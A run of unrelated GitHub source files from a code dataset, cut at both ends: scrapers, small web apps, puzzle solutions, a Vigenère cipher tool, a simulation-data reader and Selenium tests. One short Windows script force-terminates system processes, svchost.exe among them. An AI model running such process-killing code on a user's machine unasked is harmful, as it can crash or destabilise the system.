\"\"\"\n\n actions.GoToLink(self._scraper, self.__link).do()\n\n post_links = []\n\n increment_browser_height = True\n\n while True:\n\n def grab_links():\n \"\"\" Search for links on the page and retrieve them \"\"\"\n\n links = []\n\n # Grab post links inside the xpath only\n if self.__xpath:\n try:\n element_box = self._web_driver.find_element_by_xpath(self.__xpath)\n posts_element = element_box.find_elements_by_css_selector(constants.POSTS_CSS + ' [href]')\n links += [post_element.get_attribute('href') for post_element in posts_element]\n except (NoSuchElementException, StaleElementReferenceException) as err1:\n logger.error(err1)\n return []\n\n # Grab all post links\n else:\n try:\n elements = self._web_driver.find_elements_by_css_selector(constants.POSTS_CSS + ' [href]')\n except (NoSuchElementException, StaleElementReferenceException) as err2:\n logger.error(err2)\n return []\n\n try:\n links += [post_element.get_attribute('href') for post_element in elements]\n except StaleElementReferenceException as err3:\n logger.error(err3)\n return []\n\n # Remove all duplicate links in the list and keep the list order\n links = sorted(set(links), key=lambda index: links.index(index))\n\n return links\n\n post_links += grab_links()\n\n # Remove any duplicates and return the list if maximum was reached\n post_links = sorted(set(post_links), key=lambda index: post_links.index(index))\n if len(post_links) >= self.__max_download:\n self._web_driver.maximize_window()\n return post_links[:self.__max_download]\n\n # Scroll down to bottom\n self._web_driver.execute_script('window.scrollTo(0, document.body.scrollHeight);')\n time.sleep(0.5)\n\n # If instagram asks to show more posts, click it\n try:\n show_more_posts = self._web_driver.find_element_by_css_selector(constants.SHOW_MORE_POSTS_CSS)\n except (NoSuchElementException, StaleElementReferenceException):\n pass\n else:\n try:\n show_more_posts.click()\n except ElementClickInterceptedException as err:\n logger.error(err)\n self.on_fail()\n\n try:\n self._web_driver.find_element_by_css_selector(constants.SCROLL_LOAD_CSS)\n except (NoSuchElementException, StaleElementReferenceException):\n # Reached the end, grab links for the last time, remove any duplicates and return the list\n post_links += grab_links()\n self._web_driver.maximize_window()\n return sorted(set(post_links), key=lambda index: post_links.index(index))[:self.__max_download]\n else:\n # Change the browser height to prevent randomly being stuck while scrolling down\n height = self._web_driver.get_window_size()['height']\n if increment_browser_height:\n height += 25\n increment_browser_height = False\n else:\n height -= 25\n increment_browser_height = True\n\n width = self._web_driver.get_window_size()['width']\n self._web_driver.set_window_size(width, height)\n\n def on_fail(self):\n print('error while retrieving post links')\n self._scraper.stop()\n","repo_name":"zaironjacobs/instagram-scraper","sub_path":"instagram_scraper/actions/grab_post_links.py","file_name":"grab_post_links.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"32044464358","text":"# Import Required Modules\nfrom flask import Flask, render_template, request, jsonify\nfrom data_process import DataProcess\n\n\n# Create Home Page Route\napp = Flask(__name__)\n\n\n@app.route('/')\ndef plot():\n process_data = DataProcess()\n mean = process_data.transform_data()\n df = mean.to_frame().reset_index()\n values = df['value'].tolist()\n time = df['end_date'].tolist()\n return render_template('chart.html', value=values, time=time)\n\n\n@app.route('/process', methods=['POST'])\ndef process():\n updated_date = request.get_json()\n updated_startDate = updated_date['startDate']\n updated_endDate = updated_date['endDate']\n process_data = DataProcess()\n mean = process_data.transform_data(endpoint='/actual_generations_per_unit',\n start_date=updated_startDate+'T00:00:00%2B02:00',\n end_date=updated_endDate+'T23:00:00%2B02:00')\n df = mean.to_frame().reset_index()\n values = df['value'].tolist()\n time = df['end_date'].tolist()\n response = {'value': values,\n 'time': time}\n return jsonify(response)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=5000)\n","repo_name":"ahmedfatnass/usecase","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13458624811","text":"from src import custom_read_file as reader\nfrom collections import Counter\n\n\ndef get_day_input():\n data = reader.return_data_day6(\"./resources/twenty_twenty/day6.csv\")\n return data\n\n\ndef get_day_input_2():\n data = reader.return_data_day6_2(\"./resources/twenty_twenty/day6.csv\")\n return data\n\n\ndef run_part_1(data):\n total_yes_count = 0\n\n for each_group in data:\n yes_list = []\n for each_question in each_group:\n if each_question not in yes_list:\n yes_list.append(each_question)\n total_yes_count += len(yes_list)\n return total_yes_count\n\n\ndef run_part_2(data):\n total_yes_count = 0\n for each_group in data:\n group_members = each_group.split(\" \")\n yes_list = []\n for member in group_members:\n for answer in member:\n #not efficient def better way but too late\n yes_list.append(answer)\n member_count = len(group_members)\n #counter is a map\n counter = Counter(yes_list)\n for element in counter:\n if member_count == counter[element]:\n total_yes_count += 1\n # total_yes_count = len(yes_list)\n return total_yes_count\n\nif __name__ == '__main__':\n #total = run_part_1(get_day_input())\n total = run_part_2(get_day_input_2())\n print(total)","repo_name":"CradleKing24/Advent2020","sub_path":"src/twenty_twenty/day6/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22707218718","text":"from die import Die\r\n\r\nclass Dice_handler:\r\n dice = [[]]\r\n colors = [(255,100,0),(0,255,200),(0,255,100),(100,100,200),(0,255,255),(0,0,255)]\r\n numbers = ['?','1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20']\r\n\r\n def __init__(self, width, height, origin):\r\n self.width=width\r\n self.height=height\r\n self.origin=origin\r\n self.total=0\r\n\r\n def pos_constroler(self):\r\n y_distance=self.height/(len(self.dice)+1)\r\n y_o=self.origin[1]+y_distance\r\n for row in self.dice:\r\n if len(row)!=0:\r\n x_distance=self.width/(len(row)+1)\r\n x_o=self.origin[0]+ x_distance\r\n for die in row:\r\n die.center= (x_o,y_o)\r\n die.cordenates()\r\n x_o+=x_distance\r\n y_o+=y_distance \r\n\r\n def create_die(self, n_faces):\r\n index=0\r\n if n_faces!=4 and n_faces!=20:\r\n n_sides=n_faces-2\r\n index=(n_faces-4)//2\r\n elif n_faces==4:\r\n n_sides=3\r\n index=(n_faces-4)//2\r\n else:\r\n n_sides=5\r\n index=5\r\n tem_die = Die(n_sides,self.numbers,100,100,self.colors[index],n_faces)\r\n for row in self.dice:\r\n if len(row)!=4:\r\n row.append(tem_die)\r\n break\r\n else:\r\n self.dice.append([tem_die]) \r\n self.pos_constroler()\r\n\r\n def delete_die(self, die):\r\n for row in self.dice:\r\n if die in row:\r\n row.remove(die)\r\n if len(row)==0:\r\n self.dice.remove(row) \r\n\r\n def roll_dice(self):\r\n self.total=0\r\n for row in self.dice:\r\n for die in row:\r\n self.total+=die.roll()\r\n \r\n return self.total ","repo_name":"xhapa/Roll-the-Dice","sub_path":"src/handle_dice.py","file_name":"handle_dice.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32212169721","text":"import glob\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pandas as pd\nfrom scipy.signal import find_peaks\nfrom skimage.restoration import denoise_wavelet\nfrom itertools import pairwise\nfrom fpdf import FPDF\n\n\ndef scipy_find_peaks(data):\n local_maxima_x, _ = find_peaks(data)\n local_minima_x, _ = find_peaks(-data)\n peaks_x = np.sort(np.concatenate((local_maxima_x, local_minima_x), axis=0))\n return peaks_x\n\n\ndef normalized_distance(x1, y1, x2, y2, min_x, max_x, min_y, max_y):\n dx = (x2 - x1) / (max_x - min_x)\n dy = (y2 - y1) / (max_y - min_y)\n return math.sqrt(dx ** 2 + dy ** 2)\n\n\ndef peak_filter_algorithm(data, peaks_x, k):\n peaks_y = [data[x] for x in peaks_x]\n min_x, max_x = 0, len(data)\n min_y, max_y = np.min(data), np.max(data)\n filtered_peaks = set(peaks_x)\n for (x1, y1), (x2, y2) in pairwise(zip(peaks_x, peaks_y)):\n distance = normalized_distance(x1, y1, x2, y2, min_x, max_x, min_y, max_y)\n if distance <= k and x1 in filtered_peaks and x2 in filtered_peaks:\n filtered_peaks.remove(x1)\n filtered_peaks.remove(x2)\n filtered_peaks = list(filtered_peaks)\n filtered_peaks.sort()\n return filtered_peaks\n\n\ndef create_graph(ax, title, data, data_denoise, x, y):\n ax.set_title(f\"{title} Peaks Graph\")\n ax.set_xlabel(\"Video Frame (#)\")\n ax.set_ylabel(\"Calcium Intensity\")\n ax.plot(data, label=\"Original\", zorder=0)\n ax.plot(data_denoise, label=\"Wavelet Denoise\", zorder=1)\n ax.scatter(x, y, label=\"Peak\", color=\"yellow\", zorder=2)\n ax.legend()\n\n\ndef create_table(ax, title, x, y):\n ax.set_title(f\"{title} Peaks Locations ({len(x)})\")\n ax.table(list(zip(x, y)), colLabels=('X', 'Y'), loc='center', cellLoc='center')\n ax.axis('off')\n\n\ndef create_row(index, axs, title, data, data_denoise, x, y):\n create_graph(axs[index + 1][0], title, data, data_denoise, x, y)\n create_table(axs[index + 1][1], title, x, y)\n\n\ndef generate_graphs(file_name, k_values):\n i = 1\n cell_data = pd.read_csv(file_name)\n while True:\n column_name = f\"Mean{i}\"\n try:\n data = cell_data[column_name]\n except KeyError:\n break\n\n print(f\"Processing Cell {i}\")\n data_denoise = denoise_wavelet(data,\n method='VisuShrink',\n mode='soft',\n wavelet_levels=4,\n wavelet='sym8',\n rescale_sigma='True')\n\n fig, axs = plt.subplots(nrows=1 + len(k_values), ncols=2, figsize=(12.8, 4.8 * (1 + len(k_values))))\n fig.suptitle(f\"Cell {i}\", fontsize=16)\n\n all_peaks_x = scipy_find_peaks(data_denoise)\n all_peaks_y = [data_denoise[x] for x in all_peaks_x]\n create_graph(axs[0][0], \"All\", data, data_denoise, all_peaks_x, all_peaks_y)\n create_table(axs[0][1], \"All\", all_peaks_x, all_peaks_y)\n\n for index, k in enumerate(k_values):\n title = f\"Filter (k={k})\"\n filter_peaks_x = peak_filter_algorithm(data_denoise, all_peaks_x, k)\n filter_peaks_y = [data_denoise[x] for x in filter_peaks_x]\n create_row(index, axs, title, data, data_denoise, filter_peaks_x, filter_peaks_y)\n\n file_name = f\"../output/Cell-{i}.png\"\n fig.savefig(file_name)\n plt.close(fig)\n i += 1\n print(i)\n return i\n\n\ndef pack_to_pdf(file, total_cells):\n pdf = FPDF()\n pdf.add_page()\n for i in range(1, total_cells):\n image = f\"../output/Cell-{i}.png\"\n print(f\"Packing {image}\")\n pdf.image(image, w=200)\n pdf.output(file, \"F\")\n pdf.close()\n\n\ndef remove_image_files():\n for f in glob.glob(\"../output/*.png\"):\n os.remove(f)\n\n\ndef main(input_file, k_values, output_pdf_file=None, keep_image_files=False):\n print(\"Generating graphs...\")\n total_cells = generate_graphs(input_file, k_values)\n\n if output_pdf_file:\n print(f\"Packing to PDF - {output_pdf_file}...\", )\n pack_to_pdf(output_pdf_file, total_cells)\n\n if not keep_image_files:\n print(\"Deleting image files...\")\n remove_image_files()\n\n print(\"Done\")\n\n\nif __name__ == \"__main__\":\n main(input_file=\"../example/graph_data.csv\",\n k_values=[0.01, 0.02, 0.04],\n output_pdf_file=\"../output/results.pdf\")\n","repo_name":"ntsee/calcium-signal-peaks","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18649082033","text":"import wmi\nimport psutil\n\n\ndef print_hi(name):\n ti = 0\n p_names = ['TiWorker.exe', 'SearchIndexer.exe', 'CompatTelRunner.exe', 'svchost.exe']\n f = wmi.WMI()\n for process in f.Win32_Process():\n if process.name in p_names:\n process.Terminate()\n print(f\"P with name {process.name} is closed\")\n ti += 1\n if ti == 0:\n print(\"Process not found!!!\")\n\n\nif __name__ == '__main__':\n print('The CPU usage is: ', psutil.cpu_percent(5))\n print_hi('PyCharm')\n","repo_name":"madkour/PS_Monitor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"652643089","text":"from vigenere import Vigenere\nfrom decrypter import Decrypter\n\nvigenere = Vigenere()\ndecrypter = Decrypter()\n\ndef Menu():\n print(\"Bem-vindo(a) ao aplicativo de criptografia!\")\n\n option = -1\n while option != \"5\":\n print(\"\\nSelecione uma das opções abaixo:\")\n print(\"1 - Cifrar mensagem\")\n print(\"2 - Decifrar mensagem\")\n print(\"3 - Ataque de frequência na cifra de Vigenere para mensagem em português\")\n print(\"4 - Ataque de frequência na cifra de Vigenere para mensagem em inglês\")\n print(\"5 - Sair\\n\")\n\n option = input(\"Opção selecionada: \")\n if option == \"1\":\n message = input(\"Digite a mensagem a ser cifrada: \")\n key = input(\"Digite a chave para cifragem: \")\n result = vigenere.cipher_message(message, key)\n print(\"Mensagem cifrada: \", result)\n elif option == \"2\":\n message = input(\"Digite a mensagem a ser decifrada: \")\n key = input(\"Digite a chave para decifragem: \")\n result = vigenere.decipher_message(message, key)\n print(\"Mensagem decifrada: \", result)\n elif option == \"3\":\n message = input(\"Digite a mensagem cifrada: \")\n result = decrypter.get_key(message, \"pt-BR\")\n print(\"Chave encontrada para mensagem: \", result)\n elif option == '4':\n message = input(\"Digite a mensagem cifrada: \")\n result = decrypter.get_key(message, \"en-US\")\n print(\"Chave encontrada para mensagem: \", result)\n\n elif option != \"5\":\n print(\"Opção inválida.\\n\")","repo_name":"MSantosAlves/vigenere-cypher","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13997404827","text":"#3 - Írjunk programot amely megkérdezi a felhasználó nevét és születési év, majd kiírja : ”Atila ön az idén 43 éves.”\n#Egyes logikai egészeket alkotó műveleteket függvényekkel oldjuk meg\n\nimport datetime\nimport time\nimport os\nfelhasználoNev:str=None\nszuletesiEv:int=None\nkor:int=None\n\n\n#nev bekérése\ndef nevBeolvasasa() -> int:\n eredmeny:str=None\n while(eredmeny==None):\n data:str=input(\"Kérem a nevét: \")\n if(len(data)>3):\n eredmeny=data\n return eredmeny\n else:\n print(\"Túl rövid nevet adott meg!\")\n time.sleep(3)\n os.system(\"cls\")\n#születési év\ndef szuletesiEvBekerese()->int:\n eredmeny:int=None\n ma:datetime=datetime.datetime.now() #a mai datumot adja vissza\n jelenlegiEv:int=int(ma.strftime(\"%Y\")) #visszaadha a jelenlegi évet dátumból\n\n while(eredmeny==None):\n data:str=input(\"Kérem adjon meg egy születési évet: \")\n if(data.isnumeric()):\n eredmeny=int(data)\n\n if(eredmeny>=jelenlegiEv):\n eredmeny=None\n print(\"A születési éve nem lehet nagyobb mint a jelenlegi év!\")\n time.sleep(3)\n os.system(\"cls\")\n else:\n return eredmeny\n \n else:\n print(\"Nem megfelelő születési évet adott meg!\")\n time.sleep(3)\n os.system(\"cls\")\n\n#életkor kiszámitás\ndef eletkorKiszamitasa(ev:int)->int:\n ma:datetime=datetime.datetime.now()\n jelenlegiEv:int=int(ma.strftime(\"%Y\"))\n\n return jelenlegiEv-ev\n#kiiratás\n\ndef kiiratás(nev:str, ev:int)->None:\n print(f\"{nev} ön az idén {ev} éves.\")\n\n\n#főprogram\nfelhasználoNev=nevBeolvasasa()\nszuletesiEv=szuletesiEvBekerese()\nkor=eletkorKiszamitasa(szuletesiEv)\nkiiratás(felhasználoNev, kor)\n\n\n\n\n","repo_name":"SzaboMarceII/python","sub_path":"08-Függvények/Feladat 03/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5860827501","text":"# Задание: Реализовать свой осмысленный декоратор.\n# Напишем декоратор, который убирает заданные символы из текста\n\ntxt = \"Значимость этих проблем настолько очевидна, что новая модель организационной деятельности влечет за собой \" \\\n \"процесс внедрения и модернизации позиций, занимаемых участниками в отношении поставленных задач. \" \\\n \"Практический опыт показывает, что постоянное информационно-техническое обеспечение нашей деятельности \" \\\n \"способствует подготовке и реализации позиций, занимаемых участниками в отношении поставленных задач. \" \\\n \"Задача организации, в особенности же дальнейшее...\"\n\n\ndef clear_symbol_in_text(symbol):\n def decorator(func):\n symbols = []\n\n def inner(*args, **kwargs):\n valid_args = []\n for arg in args:\n valid_args.append(str(arg).replace(symbol, \"\"))\n symbols.append(symbol)\n res = func(*valid_args, **kwargs)\n # print(symbols)\n print(f\"Из текста убран символ: `{symbol}`\")\n return res\n\n return inner\n\n return decorator\n\n\n@clear_symbol_in_text(\",\")\n@clear_symbol_in_text(\" \")\ndef print_text_without_symbols(text):\n print(text)\n\n\nprint(txt)\nprint_text_without_symbols(txt)\n","repo_name":"ealipatov/pythonOOP","sub_path":"home_work/home_work_1_decorator.py","file_name":"home_work_1_decorator.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17035662989","text":"#!/usr/bin/env python\n# coding=utf-8\nimport numpy as np\n\n\nclass ReadSnapshot(object):\n \"\"\"\n A script for reading L-Gadget format data. More details see \n https://wwwmpa.mpa-garching.mpg.de/gadget/users-guide.pdf\n \"\"\"\n\n def __init__(self, snap_base='/home/mtx/work/tree/snapdir_066/snap_066.'):\n self.Base = snap_base\n self.dt_header = np.dtype([('head', np.int32, 1),\n ('npar', np.int32, 6),\n ('massarr', np.float64, 6),\n ('time', np.float64),\n ('redshift', np.float64),\n ('flag_sfr', np.int32),\n ('flag_feedback', np.int32),\n ('npartall', np.int32, 6),\n ('flag_cooling', np.int32),\n ('Nsubfiles', np.int32),\n ('BoxSize', np.float64),\n ('Omega0', np.float64),\n ('OmegaL', np.float64),\n ('H', np.float64),\n ])\n self.getheader(0)\n print(\"reading header: {} ...\\n{}\\n{}\\n\".format(\n self.buf, self.header, self.header.dtype))\n\n def setbuf(self, fnr):\n self.buf = self.Base + \"%d\" % fnr\n\n def getheader(self, fnr):\n self.setbuf(fnr)\n with open(self.buf, 'r') as fp:\n self.header = np.fromfile(fp, dtype=self.dt_header, count=1)[0]\n fp.close()\n self.npar = self.header['npar']\n self.massarr = self.header['massarr']\n self.Nsubfiles = self.header['Nsubfiles']\n\n def skipblock(self, fp):\n buf = np.fromfile(fp, dtype=np.int32, count=1)[0]\n skip = buf+4\n fp.seek(fp.tell()+skip)\n\n def readpos(self, fnr):\n dt = np.dtype([\n ('x', np.float32, 1),\n ('y', np.float32, 1),\n ('z', np.float32, 1),\n ])\n with open(self.buf, 'r') as fp:\n self.skipblock(fp) # skip header\n length = self.npar.sum()\n buf1 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n pos = np.fromfile(fp, dtype=dt, count=self.npar.sum())\n buf2 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n assert buf1 == buf2\n assert buf1 == length*3*4\n fp.close()\n return pos\n\n def readvel(self, fnr):\n dt = np.dtype([\n ('vx', np.float32, 1),\n ('vy', np.float32, 1),\n ('vz', np.float32, 1),\n ])\n with open(self.buf, 'r') as fp:\n self.skipblock(fp) # skip header\n self.skipblock(fp) # skip position\n length = self.npar.sum()\n buf1 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n vel = np.fromfile(fp, dtype=dt, count=self.npar.sum())\n buf2 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n assert buf1 == buf2\n assert buf1 == length*3*4\n fp.close()\n return vel\n\n def readids(self, fnr):\n with open(self.buf, 'r') as fp:\n self.skipblock(fp) # skip header\n self.skipblock(fp) # skip position\n self.skipblock(fp) # skip velocity\n length = self.npar.sum()\n buf1 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n ids = np.fromfile(fp, dtype=np.int32, count=self.npar.sum())\n buf2 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n assert buf1 == buf2\n assert buf1 == length*4\n fp.close()\n return ids\n\n def readmass(self, fnr):\n a = self.npar\n b = self.massarr\n bool_var = (a > 0) ^ (b > 0)\n bool_not_var = np.logical_not(bool_var)\n offset = self.npar[bool_not_var].sum()\n length = self.npar[bool_var].sum()\n massarr = np.zeros(shape=[self.npar.sum()], dtype=np.float32)\n with open(self.buf, 'r') as fp:\n self.skipblock(fp) # skip header\n self.skipblock(fp) # skip position\n self.skipblock(fp) # skip velocity\n self.skipblock(fp) # skip id\n buf1 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n mass = np.fromfile(fp, dtype=np.float32, count=length)\n buf2 = np.fromfile(fp, dtype=np.int32, count=1)[0]\n assert buf1 == buf2\n assert buf1 == length*4\n fp.close()\n start = 0\n start_var = 0\n for i in range(len(self.npar)):\n if self.npar[i] == 0:\n continue\n if bool_not_var[i]:\n massarr[start:start+self.npar[i]] = self.massarr[i]\n else:\n massarr[start:start+self.npar[i]\n ] = mass[start_var:start_var+self.npar[i]]\n start_var += self.npar[i]\n start += self.npar[i]\n \"\"\"\n for i in self.npar:\n s = marr[start:start+i]\n print(s.shape, s)\n start+=i\n \"\"\"\n return massarr\n\n def __call__(self):\n pos = []\n vel = []\n ids = []\n marr = []\n for fnr in range(self.header['Nsubfiles']):\n self.getheader(fnr)\n pos.append(self.readpos(fnr))\n vel.append(self.readvel(fnr))\n ids.append(self.readids(fnr))\n marr.append(self.readmass(fnr))\n pos = np.hstack(pos)\n vel = np.hstack(vel)\n ids = np.hstack(ids)\n marr = np.hstack(marr)\n return ids, pos, vel, marr\n\n\nif __name__ == '__main__':\n rs = ReadSnapshot()\n rs()\n","repo_name":"POFK/loadsim","sub_path":"src/loadsim/read_snap.py","file_name":"read_snap.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32368929467","text":"n = int( input() )\na_array = list( map( int, input().split() ) )\nq = int( input() )\nbc_array = []\nfor _ in range( q ):\n bc_i = list( map( int, input().split() ) )\n bc_array.append( bc_i )\n\na_list = [ 0 for _ in range( 10 ** 5 + 1 ) ]\nfor a in a_array:\n a_list[ a ] += 1\n\ns = 0\nfor i in range( 10 ** 5 + 1 ):\n s += i * a_list[ i ]\n\nfor b, c in bc_array:\n s = s + ( c - b ) * a_list[ b ]\n a_list[ c ] += a_list[ b ]\n a_list[ b ] = 0\n print( s )","repo_name":"tsukasa2/AtCoder","sub_path":"contest/ABC/171/question-d.py","file_name":"question-d.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6255689906","text":"\nfrom django import forms\nfrom home.models import Dev, Project\nfrom django.utils.translation import gettext_lazy as _\n\nclass ProjectForm(forms.ModelForm):\n dev = forms.ModelChoiceField(queryset=Dev.objects.none())\n\n def __init__(self, *args, **kwargs):\n super(ProjectForm, self).__init__(*args, **kwargs)\n self.fields['dev'].queryset = Dev.objects.filter(active=True)\n\n class Meta:\n model = Project\n fields = ('name', 'des', 'start_date', 'end_date', 'cost', 'dev')\n labels = {\n 'name': _(\"Name\"),\n 'des': _(\"Description\"),\n 'start_date': _(\"Start Date\"),\n 'end_date': _(\"End Date\"),\n 'dev': _(\"Dev\"),\n 'cost': _(\"Cost\")\n\n }\n","repo_name":"thengoc-bui-goldenowl/SmallDemo","sub_path":"SmallDemo/home/forms/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41715605990","text":"def get_rank(X):\n x_rank = dict((x, i+1) for i, x in enumerate(sorted(X)))\n return [x_rank[x] for x in X]\n\n\ndef main():\n size = int(input())\n x = list(map(float, input().split()))\n y = list(map(float, input().split()))\n\n rx = get_rank(x)\n ry = get_rank(y)\n\n d = [(rx[i] - ry[i])**2 for i in range(size)]\n rxy = 1 - 6*sum(d)/(size*(size**2 - 1))\n print(\"{0:.3f}\".format(rxy))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JoaoAreias/Artificial-intelligence","sub_path":"Statistics/SpearmansRankCorrelationCoefficient.py","file_name":"SpearmansRankCorrelationCoefficient.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71724257048","text":"from selenium.webdriver.common.by import By\n\n__author__ = 'asistente'\n\nfrom unittest import TestCase\nfrom selenium import webdriver\n\nclass FuncionalTest(TestCase):\n\n def setUp(self):\n self.browser = webdriver.Firefox()\n self.browser.implicitly_wait(2)\n\n def tearDown(self):\n self.browser.quit()\n\n def test_title(self):\n self.browser.get(\"http://localhost:8000\")\n self.assertIn(\"Busco ayuda\", self.browser.title)\n\n def test_registrar(self):\n self.browser.get('http://localhost:8000')\n\n link = self.browser.find_element_by_id('id_register')\n link.click()\n\n nombre = self.browser.find_element_by_id('id_nombre')\n nombre.send_keys('Juan Daniel')\n\n apellidos = self.browser.find_element_by_id('id_apellidos')\n apellidos.send_keys('Arevalo')\n\n experiencia = self.browser.find_element_by_id('id_aniosExperiencia')\n experiencia.send_keys('5')\n\n self.browser.find_element_by_xpath(\"//select[@id='id_tiposDeServicio']/option[text()='Desarrollador Web']\").click()\n telefono = self.browser.find_element_by_id('id_telefono')\n telefono.send_keys('3173024578')\n\n correo = self.browser.find_element_by_id('id_correo')\n correo.send_keys('jd.patino1@uniandes.edu.co')\n\n nombreUsuario = self.browser.find_element_by_id('id_username')\n nombreUsuario.send_keys('juan645')\n\n clave = self.browser.find_element_by_id('id_password')\n clave.send_keys('clave123')\n\n botonGrabar = self.browser.find_element_by_id('id_grabar')\n botonGrabar.click()\n self.browser.implicitly_wait(3)\n span = self.browser.find_element(By.XPATH, '//span[text()=\"Juan Daniel Arevalo\"]')\n\n self.assertIn('Juan Daniel Arevalo', span.text)\n\n def test_verDetalle(self):\n self.browser.get('http://localhost:8000')\n span = self.browser.find_element(By.XPATH, '//span[text()=\"Juan Daniel Arevalo\"]')\n span.click()\n h2 = self.browser.find_element(By.XPATH, '//h2[text()=\"Juan Daniel Arevalo\"]')\n self.assertIn('Juan Daniel Arevalo', h2.text)\n\n\n def test_loguearse(self):\n self.browser.get('http://localhost:8000')\n link = self.browser.find_element_by_id('id_login')\n link.click()\n modal = self.browser.find_element_by_id('login_modal')\n\n nombreUsuario = modal.find_element_by_id('id_username')\n nombreUsuario.send_keys('juan645')\n\n clave = modal.find_element_by_id('id_password')\n clave.send_keys('clave123')\n botonGrabar = modal.find_element_by_id('id_ingresar')\n botonGrabar.click()\n\n\n def test_editar_independiente(self):\n self.browser.get('http://localhost:8000')\n link = self.browser.find_element_by_id('id_login')\n link.click()\n modal = self.browser.find_element_by_id('login_modal')\n\n nombreUsuario = modal.find_element_by_id('id_username')\n nombreUsuario.send_keys('juan645')\n\n clave = modal.find_element_by_id('id_password')\n clave.send_keys('clave123')\n botonGrabar = modal.find_element_by_id('id_ingresar')\n botonGrabar.click()\n\n close = self.browser.find_element_by_class_name('close')\n close.click()\n\n botonEditar = self.browser.find_element_by_id('id_editar')\n botonEditar.click()\n\n form = self.browser.find_element_by_id('editar-form')\n\n nombre = form.find_element_by_id('id_nombre')\n nombre.clear()\n nombre.send_keys('Juan Daniel Editadpo')\n\n apellidos = form.find_element_by_id('id_apellidos')\n apellidos.clear()\n apellidos.send_keys('Arevalo')\n\n experiencia = form.find_element_by_id('id_aniosExperiencia')\n experiencia.clear()\n experiencia.send_keys('5')\n\n telefono = form.find_element_by_id('id_telefono')\n telefono.clear()\n telefono.send_keys('3173024578')\n\n correo = form.find_element_by_id('id_correo')\n correo.clear()\n correo.send_keys('jd.patino1@uniandes.edu.co')\n\n botonGrabar = form.find_element_by_id('id_grabar')\n botonGrabar.click()\n\n def test_comentar(self):\n self.browser.get('http://localhost:8000')\n\n trabajador = self.browser.find_element_by_class_name('trabajador')\n trabajador.click()\n\n close = self.browser.find_element_by_id('correo')\n close.send_keys(\"comentario\")\n close = self.browser.find_element_by_id('comentario')\n close.send_keys(\"comentario\")","repo_name":"alejan/webTDD","sub_path":"polls/Functional_test.py","file_name":"Functional_test.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23424351290","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\"\"\"\n\nclass Solution:\n def connect(self, root: 'Optional[Node]') -> 'Optional[Node]':\n if not root: return root\n first = root\n while first.left:\n \n head = first\n while head:\n head.left.next = head.right\n \n if head.next:\n head.right.next = head.next.left\n \n head = head.next\n \n first = first.left\n \n return root\n","repo_name":"NamHaiBui/AlgorithmAndDatabaseTraining","sub_path":"Algorithm/Populating Next Right Pointers in Each Node.py","file_name":"Populating Next Right Pointers in Each Node.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72920291928","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\ndata = pd.read_csv(r'C:\\HỌC TẬP\\PYTHON LEARNING\\STATISTIC\\DATA RESEARCH\\quản lí chi phí.csv')\r\ndata.head()\r\nimport seaborn as sns\r\nfrom pandas import DataFrame\r\n\r\nsns.jointplot(x=data['CPM (Chi phí trên mỗi 1.000 lần hiển thị)'], \r\n y=data['Khách hàng tiềm năng'],\r\n kind=\"kde\", height=7, space=0,color=\"darkviolet\").plot_joint(plt.scatter,\r\n c='w',s=30,linewidth=1,marker='+')\r\n\r\nsns.jointplot(x=data['CPC (Chi phí trên mỗi lượt click vào liên kết)'], \r\n y=data['Khách hàng tiềm năng'],\r\n 